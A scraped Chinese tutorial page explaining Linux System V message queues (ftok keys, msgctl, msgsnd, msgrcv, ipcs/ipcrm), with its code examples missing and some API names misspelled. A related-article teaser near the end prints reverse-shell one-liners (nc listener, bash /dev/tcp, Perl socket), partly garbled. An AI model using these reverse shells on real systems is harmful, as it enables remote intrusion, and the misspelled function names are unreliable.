位置: 编程技术 - 正文

Linux消息队列实现进程间通信实例详解(linux 消息队列 系统参数)

编辑:rootadmin

推荐整理分享Linux消息队列实现进程间通信实例详解(linux 消息队列 系统参数),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:linux消息队列阻塞,linux消息队列实例,linux设置消息队列大小,linux消息队列底层原理,linux消息队列实现,linux消息队列实现,linux消息队列实现,linux消息队列实例,内容如对您有帮助,希望把文章链接给更多的朋友!

Linux消息队列实现进程间通信实例详解

一、什么是消息队列

消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法。 每个数据块都被认为含有一个类型,接收进程可以独立地接收含有不同类型的数据结构。我们可以通过发送消息来避免命名管道的同步和阻塞问题。但是消息队列与命名管道一样,每个数据块都有一个最大长度的限制。

Linux用宏MSGMAX和MSGMNB来限制一条消息的最大长度和一个队列的最大长度。

二、在Linux中使用消息队列

Linux提供了一系列消息队列的函数接口来让我们方便地使用它来实现进程间的通信。它的用法与其他两个System V PIC机制,即信号量和共享内存相似。

进程间通信(IPC):进程间通信的本质就是通过让不同的进程看到一份公共的资源来实现通信。

常用的进程间通信的方式有两种:通过管道和systemv标准,今天我们来介绍systemv标准中的一种:消息队列

消息队列:消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法,每个数据块都认为是有一个类型,接受者进程接收的数据块可以有不同的类型值。我们可以通过发送消息来避免命名管道的同步和阻塞问题。

特点:

(1)消息队列可认为是全局的一个链表,由消息队列标识符进行标识。 (2)消息队列允许一个或多个进程写入或读取消息 (3)消息队列的声明周期随内核 (4)消息队列可以实现双向通信

创建一个消息队列:msget() 第一个参数:每一个消息队列都有唯一的key值,可以由ftok()产生

第二个参数:一般由两个选项IPC_CREAT和IPC_EXCL,单独使用ipc_creat时,如果消息队列不存在则创建一个,如果存在则打开 IPC_EXCL 如果同时使用,如果消息队列不存在则创建之,如果存在则出错返回。当单独使用IPC_EXCL时,没有意义。

Linux消息队列实现进程间通信实例详解(linux 消息队列 系统参数)

ftok: 参数可由用户指定。

下面用代码实现消息队列的创建:

在创建一个消息队列(其他ipc相同)时,需要先通过文件路径名和项目ID获取一个键值,然后通过此键值由内核生成标识符,在以后可通过此标识符来使用此消息队列。

为什么要有key值和标识符两个值呢?

描述符是对于用户操作而言的,让用户感觉操作和对文件的操作相同,key是对于系统内部说的。

我们使用ftok来创建key值,具体可以man一下fotk函数,大概是这样的:按给定的路径名取得其stat结构,从该结构中取出部分st_dev和st_ino字段,然后再与项目id组合起来,如果两个路径名引用两个不同的文件,那么,对这两个路径名调用ftok通常返回不同的key值,但是,因为i节点号和key通常都存放在长整型中,于是创建key时可能会丢失信息,这意味着,如果使用同一项目id,那么对于不同文件的两个路径名可能产生相同的key值。而标识符是唯一确定的,可以用来区别于其他ipc的。

删除消息队列:msgctl() 代码实现:

发送消息:msgsnd()

接收消息:magrcv(),这两个函数实现进程间的双向通信

参数:msqid-消息队列标识码

msgp-指向消息缓冲区的指针,此位置是用来暂时存储发送和接收的消息,是一个用户可定义的通用结构。 msgtyp-从消息队列内读取的消息形态。如果值为0,则表示消息队列中,所有消息被读取。 msgsz:消息的大小

返回值:成功返回0,失败则返回-1.

那么如何查看系统中正在运行的消息队列呢?

介绍两个命令:ipcs -q 查看消息队列

ipcrm -q msgid 删除此消息队列

感谢阅读,希望能帮助到大家,谢谢大家对本站的支持!

Linux共享内存实现机制的详解 Linux共享内存实现机制的详解内存共享:两个不同进程A、B共享内存的意思是,同一块物理内存被映射到进程A、B各自的进程地址空间。进程A可以即时看

Linux下NC反弹shell命令(推荐) 本机开启监听:nc-lvnpnc-vvlp目标机器开启反弹bash版本:bash-i&/dev/tcp/.0.0.1/&1perl版本:perl-e'useSocket;$i=".0.0.1";$p=;socket(S,PF_INET,SOCK_STREAM,getprot

Linux中的host命令应用实例详解 Linux中的host命令应用举例一命令语法功能:查出某个主机名的IPhosthostname[server][server]:使用不是由/etc/resolv.conf文件定义的DNS服务器IP来查询某台主机的IP

标签: linux 消息队列 系统参数

本文链接地址:https://www.jiuchutong.com/biancheng/378223.html 转载请保留说明!

上一篇:linux创建PHP定时任务的实例(linux搭建php运行环境)

下一篇:Linux共享内存实现机制的详解(linux共享内存最大值)

  • 什么情况下要交环保税
  • 物流企业缴纳哪几种税
  • 公司房屋修缮账务流程
  • 公司法人已变更,前法人被失信
  • 何谓运输,交通和交通运输
  • 员工公交费补贴怎么入账
  • 中型企业什么意思
  • 弱电系统多少钱
  • 报销费用明细和发票
  • 小规模进项负数发票需要认证吗
  • 或有负债在报表附注哪里
  • 房屋出租怎么交税?
  • 合法有效的凭证
  • 折价购入股权
  • 出口转内销增值税报表怎么填
  • 小规模纳税人所得税税率
  • 工程完成投资入什么科目核算与怎么写其会计分录?
  • 出口免税什么意思
  • 代付其他公司货款会计分录
  • 总公司要合并分公司报表吗
  • 推广费是广告费和业务宣传费吗
  • 药品底价高开票什么意思
  • 无形资产软件摊销年限是多少
  • 服务不动产和无形资产扣除项目有哪些
  • 公司注销过程中如果有纠纷怎么办
  • 最新消费税税目顺口溜
  • 高新企业研发人员
  • 民非组织可以接受捐赠吗
  • downloadplus.exe是什么进程 作用是什么 downloadplus进程是安全的吗
  • runservice.exe - runservice是什么进程 有什么用
  • 长期借款的业务处理
  • PHP:is_uploaded_file()的用法_Filesystem函数
  • ✝️ 强制 Vue 重新渲染组件的正确方法
  • php实现上传图片功能
  • 境外支付佣金代扣代缴增值税
  • 参展费会计分录
  • 阿里云主机php版本
  • php输出mysql查询结果
  • php判断字符串是否为ip地址
  • 销售原材料怎么入账
  • swoole扩展安装
  • 单位制造费用是什么科目
  • 劳务分包收入交什么税
  • 进项票和销项票是什么意思
  • 废料收入是什么会计分录
  • 人工成本的分类是
  • 税务信用级别A有什么好处
  • sql2008r2如何使用
  • 新准则下交易性金融债券
  • 背书是什么含义
  • 其他债权投资的公允价值变动计入什么科目
  • 超过认证期专用发票怎么办
  • 同一控制和非同一控制的区别图解
  • 电子承兑过期超过10天就无法转让吗
  • 基层工会经费收入来源包括
  • 债务重组的方式不包括债务转为资本
  • 调整以前年度销项税额的分录
  • 增值税不超过30万,普通发票可以开0税率吗
  • 住房租金专项附加扣除金额
  • 预收账款占销售收入比例预警值为比例大于
  • 建账时都要建哪些科目
  • 小规模纳税人可以抵税吗
  • 培训费发票必须开吗
  • mysql -ne
  • linux下mysql开启远程访问权限 防火墙开放3306端口
  • win8.1怎么样
  • windows xp 注册表故障恢复
  • vista正版怎么升级win7
  • 发生意外错误无法完成您的请求
  • win7开始菜单路径在哪里
  • centos更改文件所有者和组
  • Ubuntu 14.04 64位搭建ADT开发环境的方法
  • 查看电脑是否可以装两个固态
  • linux监控软件zabbix
  • php九宫格
  • perl中\s+
  • 执行批处理命令
  • javascript 加法
  • 电子发票开票失败怎么回事?
  • 上海增值税发票抵扣
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设